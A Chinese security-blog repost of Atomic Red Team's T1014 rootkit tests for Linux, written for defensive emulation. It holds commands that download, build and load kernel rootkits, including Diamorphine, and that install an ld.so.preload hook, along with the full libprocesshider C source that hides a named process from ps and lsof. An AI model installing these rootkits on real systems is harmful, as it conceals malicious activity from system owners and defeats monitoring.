T1014 - rootkit

admin 2025年3月26日09:14:16评论10 views字数 11487阅读38分17秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1014-Rootkit。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明: 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

来自ATT&CK的描述

攻击者可能会使用rootkit来隐藏程序、文件、网络连接、服务、驱动程序和其他系统组件的存在。rootkit是一种通过拦截/挂钩和修改提供系统信息的操作系统API调用来隐藏恶意软件存在的程序。(引用:赛门铁克Windows Rootkits)

rootkit或具有rootkit功能的程序可能存在于操作系统的用户层、内核层,甚至更低的层级,如管理程序、主引导记录或系统固件中。(引用:维基百科Rootkit)在Windows、Linux和Mac OS X系统中都发现过rootkit。(引用:CrowdStrike Linux Rootkit;黑帽大会Mac OSX Rootkit)

原子测试

  • 原子测试#1 - 基于可加载内核模块的rootkit
  • 原子测试#2 - 基于可加载内核模块的rootkit
  • 原子测试#3 - 基于动态链接器的rootkit(libprocesshider)
  • 原子测试#4 - 基于可加载内核模块的rootkit(Diamorphine)

原子测试#1 - 基于可加载内核模块的rootkit

基于可加载内核模块的rootkit

  • 支持的平台
    Linux
  • 自动生成的GUID
    dfb50072 - e45a - 4c75 - a17e - a484809c8553
  • 输入参数
名称
描述
类型
默认值
rootkit_source_path
rootkit源代码的路径。在获取先决条件时使用。
路径
PathToAtomicsFolder/T1014/src/Linux
rootkit_path
rootkit的路径
字符串
PathToAtomicsFolder/T1014/bin
rootkit_name
模块名称
字符串
T1014
  • 攻击命令
    使用sh运行!需要提升权限(例如root或管理员权限)
sudo insmod #{rootkit_path}/#{rootkit_name}.ko
  • 清理命令
sudo rmmod #{rootkit_name}sudo rm -rf #{rootkit_path}
  • 依赖项
    使用bash运行!
  • 描述
    内核模块必须存在于指定位置的磁盘上(#{rootkit_path}/#{rootkit_name}.ko)
  • 检查先决条件命令
if [ -f #{rootkit_path}/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令
sudo apt install makesudo apt install gccif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi;cp #{rootkit_source_path}/* /tmp/T1014/cd /tmp/T1014; makemkdir #{rootkit_path}mv /tmp/T1014/#{rootkit_name}.ko #{rootkit_path}/#{rootkit_name}.korm -rf /tmp/T1014

原子测试#2 - 基于可加载内核模块的rootkit

基于可加载内核模块的rootkit

  • 支持的平台
    Linux
  • 自动生成的GUID
    75483ef8 - f10f - 444a - bf02 - 62eb0e48db6f
  • 输入参数
名称
描述
类型
默认值
rootkit_source_path
rootkit源代码的路径。在获取先决条件时使用。
路径
PathToAtomicsFolder/T1014/src/Linux
rootkit_name
模块名称
字符串
T1014
  • 攻击命令
    使用sh运行!需要提升权限(例如root或管理员权限)
sudo modprobe #{rootkit_name}
  • 清理命令
sudo modprobe -r #{rootkit_name}sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.kosudo depmod -a
  • 依赖项
    使用bash运行!
  • 描述
    内核模块必须存在于指定位置的磁盘上(#{rootkit_source_path}/#{rootkit_name}.ko)
  • 检查先决条件命令
if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令
sudo apt install makesudo apt install gccif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;cp #{rootkit_source_path}/* /tmp/T1014cd /tmp/T1014; makesudo cp /tmp/T1014/#{rootkit_name}.ko /lib/modules/$(uname -r)/[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014sudo depmod -a

原子测试#3 - 基于动态链接器的rootkit(libprocesshider)

使用libprocesshider通过ld.so.preload隐藏特定进程名来模拟rootkit行为(另见T1574.006)。

  • 支持的平台
    Linux
  • 自动生成的GUID
    1338bf0c - fd0c - 48c0 - 9e65 - 329f18e2c0d3
  • 输入参数
名称
描述
类型
默认值
repo
github仓库压缩包的URL
字符串
https://github.com/gianlucaborello/libprocesshider/
rev
github仓库压缩包的版本修订号
字符串
25e0587d6bf2137f8792dc83242b6b0e5a72b415
library_path
要添加到ld.so.preload的库的完整路径
字符串
/usr/local/lib/libprocesshider.so
  • 攻击命令
    使用sh运行!需要提升权限(例如root或管理员权限)
echo #{library_path} | tee -a /etc/ld.so.preload/usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden"
  • 清理命令
sed -":^#{library_path}:d" /etc/ld.so.preloadrm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic
  • 依赖项
    使用bash运行!
  • 描述
    预加载库必须存在于指定位置的磁盘上(#{library_path})
  • 检查先决条件命令
if [ -f #{library_path} ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令
mkdir -p /tmp/atomic && cd /tmp/atomiccurl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd libprocesshider-#{rev}makecp libprocesshider.so #{library_path}cp /usr/bin/ping /usr/local/bin/evil_script.py
以下简单分析processhider
processhider能够使得ps、top、lsof等命令无法检查恶意代码(evil_script.py)的进程,具体原理分析如下。

ps的工作原理

ps这类工具利用了/proc文件系统,我们之前的一篇文章对这个Linux结构进行了大致介绍。现在,我们用sysdig来深入了解一下具体细节:

gianluca@sid:~$ sudo sysdig proc.name = ps...447463 23:54:12.077878685 2 ps (3214) > openat dirfd=AT_FDCWD name=/proc flags=1089(O_DIRECTORY|O_NONBLOCK|O_RDONLY) mode=0 447465 23:54:12.077880122 2 ps (3214) < openat fd=5(/proc) 447473 23:54:12.077887674 2 ps (3214) > getdents 447486 23:54:12.077988237 2 ps (3214) < getdents ... 452546 23:54:12.082257864 2 ps (3214) > open 452547 23:54:12.082259424 2 ps (3214) < open fd=6(/proc/3174/stat) name=/proc/3174/stat flags=1(O_RDONLY) mode=0 452548 23:54:12.082259730 2 ps (3214) > read fd=6(/proc/3174/stat) size=1024 452549 23:54:12.0822626012 ps (3214) < read res=322 data=3174 (evil_script.py) R 3089317430893481631744202496162001508347400  452550 23:54:12.082262874 2 ps (3214) > close fd=6(/proc/3174/stat452551 23:54:12.082262982 2 ps (3214) < close res=0  452552 23:54:12.082266445 2 ps (3214) > open 452553 23:54:12.082267682 2 ps (3214) < open fd=6(/proc/3174/status) name=/proc/3174/status flags=1(O_RDONLY) mode=0 452554 23:54:12.082268000 2 ps (3214) > read fd=6(/proc/3174/status) size=1024 452555 23:54:12.082274407 2 ps (3214) < read res=854 data=Name:.evil_script.py.State:.R (running).Tgid:.3174.Ngid:.0.Pid:.3174.PPid:.3089.  452556 23:54:12.082274624 2 ps (3214) > close fd=6(/proc/3174/status) 452557 23:54:12.082274724 2 ps (3214) < close res=0  452558 23:54:12.082276935 2 ps (3214) > open 452559 23:54:12.082278171 2 ps (3214) < open fd=6(/proc/3174/cmdline) name=/proc/3174/cmdline flags=1(O_RDONLY) mode=0 452560 23:54:12.082278466 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131072 452561 23:54:12.082280215 2 ps (3214) < read res=46 data=/usr/bin/python../evil_script.py.1.2.3.4.6666.  452562 23:54:12.082280463 2 ps (3214) > read fd=6(/proc/3174/cmdline) size=131026 452563 23:54:12.082280814 2 ps (3214) < read res=0 data=  452564 23:54:12.082281083 2 ps (3214) > close fd=6(/proc/3174/cmdline) 452565 23:54:12.082281216 2 ps (3214) < close res=0

这清楚地展示了ps的工作原理:首先,通过openat()系统调用打开/proc目录。然后,该进程对打开的目录调用getdents(),这是一个系统调用,用于返回特定目录(这里是/proc)中包含的文件/目录列表。如果你运行过ls /proc,就会注意到系统中每个正在运行的进程都有一个子目录,并且每个目录都以进程自身的PID命名。所以,ps会从getdents()获取列表,然后遍历每个子目录中的一组固定文件。从事件列表中可以看到,这些文件名为/proc/PID/status/proc/PID/stat/proc/PID/cmdline,它们包含了ps输出中显示的所有信息。值得注意的是(这在接下来的部分会很有用),进程本身并不会直接调用openat()getdents(),因为这些是由C标准库(libc)抽象的系统调用。如果你读过libc的文档,就会知道libc提供了两个不同的函数opendir()readdir(),它们负责调用这些系统调用,为开发者提供了一个相对简单的API。所以,ps直接调用的是这些函数。

隐藏进程

在简单了解了ps的工作原理之后,很明显,如果我们想隐藏自己的进程,就需要想办法阻止这些工具访问/proc/PID/下的相关文件。有哪些方法呢?有几种方法值得一提:

  • 使用合适的框架
    有很多优秀的框架,比如SELinux和Grsecurity,它们能实现很多功能,其中就包括隐藏进程。在生产系统中,我肯定会考虑使用这些框架,不过今天我想亲自动手,从零开始创造点东西,找点乐趣。
  • 修改top/ps/…二进制文件
    我可以获取这些工具的源代码,实现自己的“隐藏Linux进程”逻辑,重新编译,然后替换二进制文件。但这种方法效率很低,而且非常耗时。
  • 修改libc
    我可以修改libc中的readdir()函数,加入代码来阻止访问某些/proc文件。但是重新编译libc是个麻烦事,更不用说libc的代码往往很难理解。
  • 在内核中修改系统调用
    这是最高级的方法,通过在内核中用自定义模块直接拦截和修改getdents()系统调用就能实现。这确实很诱人,但今天我不打算走这条路,因为我已经非常熟悉sysdig中系统调用拦截的工作原理了,所以我想尝试点新东西。

本文提到的是一种折中的解决方案,它是“修改libc”的一种变体,基于Linux动态链接器(负责在程序运行时加载所需各种库的组件)提供的一个巧妙特性——预加载。通过预加载,Linux允许我们在加载其他正常系统库之前,先加载一个自定义共享库。这意味着,如果自定义库导出的函数与系统库中的某个函数签名相同,我们就可以用自定义库中的代码覆盖它,而且所有进程都会自动选择我们的自定义函数!这听起来像是我问题的解决方案,因为我可以编写一个非常简单的自定义库,覆盖libc中的readdir()函数,并编写隐藏进程的逻辑!这个逻辑也相当简单:每次当我发现正在读取/proc/PID目录(其中PID是名为“evil_script”的进程的PID)时,我就干净利落地阻止该访问,这样就能隐藏整个目录了!源码分析如下:

1. 头文件包含与宏定义

#define _GNU_SOURCE#include<stdio.h>#include<dlfcn.h>#include<dirent.h>#include<string.h>#include<unistd.h>
  • #define _GNU_SOURCE
    启用GNU C库的扩展特性,这样可以使用一些非标准的函数和宏。
  • 包含了多个标准库头文件:
    • stdio.h
      用于标准输入输出操作。
    • dlfcn.h
      用于动态链接库的操作,如dlsym函数。
    • dirent.h
      用于目录操作,如readdir函数。
    • string.h
      用于字符串操作,如strcmpstrspn等。
    • unistd.h
      包含了许多系统调用的接口,如readlink

2. 过滤进程名称的定义

static const char* process_to_filter = "evil_script.py";

定义了一个常量字符串process_to_filter,表示需要过滤掉的进程名称。在遍历/proc目录时,所有名称为evil_script.py的进程条目都会被过滤掉。

3. 获取目录名称的函数

staticintget_dir_name(DIR* dirp, char* buf, size_t size){    int fd = dirfd(dirp);    if(fd == -1) {        return 0;    }    char tmp[64];    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);    ssize_t ret = readlink(tmp, buf, size);    if(ret == -1) {        return 0;    }    buf[ret] = 0;    return 1;}
  • 该函数的作用是根据DIR指针dirp获取对应的目录名称。
  • 首先使用dirfd函数获取DIR对象对应的文件描述符fd
  • 然后构造一个路径/proc/self/fd/%d,其中%d为文件描述符的值。
  • 使用readlink函数读取该路径的符号链接内容,将其存储在buf中。
  • 如果操作成功,返回1;否则返回0。

4. 获取进程名称的函数

staticintget_process_name(char* pid, char* buf){    if(strspn(pid, "0123456789") != strlen(pid)) {        return 0;    }    char tmp[256];    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);    FILE* f = fopen(tmp, "r");    if(f == NULL) {        return 0;    }    if(fgets(tmp, sizeof(tmp), f) == NULL) {        fclose(f);        return 0;    }    fclose(f);    int unused;    sscanf(tmp, "%d (%[^)]s", &unused, buf);    return 1;}
  • 该函数根据进程ID(pid)获取对应的进程名称。
  • 首先检查pid是否为纯数字字符串,如果不是则返回0。
  • 构造一个路径/proc/%s/stat,其中%s为进程ID。
  • 打开该文件并读取第一行内容。
  • 使用sscanf函数从读取的内容中提取进程名称,存储在buf中。
  • 如果操作成功,返回1;否则返回0。

5. 劫持readdirreaddir64函数的宏定义

#define DECLARE_READDIR(dirent, readdir)                                static struct dirent* (*original_##readdir)(DIR*) = NULL;               struct dirent* readdir(DIR *dirp)                                       {                                                                           if(original_##readdir == NULL) {                                            original_##readdir = dlsym(RTLD_NEXT, #readdir);                       if(original_##readdir == NULL)                                          {                                                                           fprintf(stderr, "Error in dlsym: %sn", dlerror());                 }                                                                   }                                                                       struct dirent* dir;                                                     while(1)                                                                {                                                                           dir = original_##readdir(dirp);                                         if(dir) {                                                                   char dir_name[256];                                                     char process_name[256];                                                 if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&                        strcmp(dir_name, "/proc") == 0 &&                                       get_process_name(dir->d_name, process_name) &&                          strcmp(process_name, process_to_filter) == 0) {                         continue;                                                           }                                                                   }                                                                       break;                                                              }                                                                       return dir;                                                         }DECLARE_READDIR(dirent64, readdir64);DECLARE_READDIR(dirent, readdir);
  • DECLARE_READDIR
    是一个宏,用于定义劫持readdirreaddir64函数的代码。
  • 对于每个被劫持的函数,首先定义一个函数指针original_##readdir,用于保存原始的readdir函数地址。
  • 在自定义的readdir函数中,首先使用dlsym函数获取原始的readdir函数地址。
  • 然后进入一个循环,不断调用原始的readdir函数获取目录条目。
  • 对于每个获取到的目录条目,检查其所在目录是否为/proc,如果是,则获取该条目对应的进程名称。
  • 如果进程名称与process_to_filter相同,则跳过该条目,继续下一次循环。
  • 最后返回过滤后的目录条目。

这段代码通过劫持readdirreaddir64函数,实现了在遍历/proc目录时过滤掉特定名称进程条目的功能。这种技术通常用于隐藏特定进程,使其在系统中不可见。

代码编写完成后,我们将其编译为共享库,并安装到系统路径中:

gianluca@sid:~/libprocesshidermakegcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldlgianluca@sid:~/libprocesshidersudo mv libprocesshider.so /usr/local/lib/

现在,我只需要告诉动态链接器实际使用它。我想在系统范围内安装它,这样系统中的每个新进程都能自动加载它。这只需将我的库路径写入一个配置文件即可完成:

root@sid:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
完成!从这一刻起,我启动的每个新二进制文件在通过readdir()遍历目录时,都会执行我的自定义代码。那么,让我们回头看看,在恶意脚本运行时,执行pslsof会发生什么:
gianluca@sid:~sudo ps auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND...gianluca@sid:~sudo lsof -niCOMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME...

原子测试#4 - 基于可加载内核模块的rootkit(Diamorphine)

加载Diamorphine内核模块,该模块会隐藏自身和某个进程。

  • 支持的平台
    Linux
  • 自动生成的GUID
    0b996469 - 48c6 - 46e2 - 8155 - a17f8b6c2247
  • 输入参数
名称
描述
类型
默认值
repo
Diamorphine的github仓库URL
字符串
https://github.com/m0nad/Diamorphine/
rev
github仓库压缩包的版本修订号
字符串
898810523aa2033f582a4a5903ffe453334044f9
rootkit_name
模块名称
字符串
diamorphine
  • 攻击命令
    使用sh运行!需要提升权限(例如root或管理员权限)
sudo modprobe #{rootkit_name}ping -c 10 localhost >/dev/null & TARGETPID="$!"ps $TARGETPIDkill -31 $TARGETPIDps $TARGETPID || echo "process ${TARGETPID} hidden"
  • 清理命令
kill -63 1sudo modprobe -r #{rootkit_name}sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomicsudo depmod -a
  • 依赖项
    使用bash运行!
  • 描述
    内核模块必须存在于指定位置的磁盘上(#{rootkit_name}.ko)
  • 检查先决条件命令
if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi;
  • 获取先决条件命令
mkdir -p /tmp/atomic && cd /tmp/atomiccurl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd Diamorphine-#{rev}makesudo cp #{rootkit_name}.ko /lib/modules/$(uname -r)/sudo depmod -a
测试4中相关技术可参考https://github.com/m0nad/Diamorphine/https://web.archive.org/web/20140701183221/https://www.thc.org/papers/LKM_HACKING.html、https://memset.wordpress.com/等内容。

原文始发于微信公众号(网空安全手札):T1014 - rootkit

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月26日09:14:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1014 - rootkithttps://cn-sec.com/archives/3885165.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息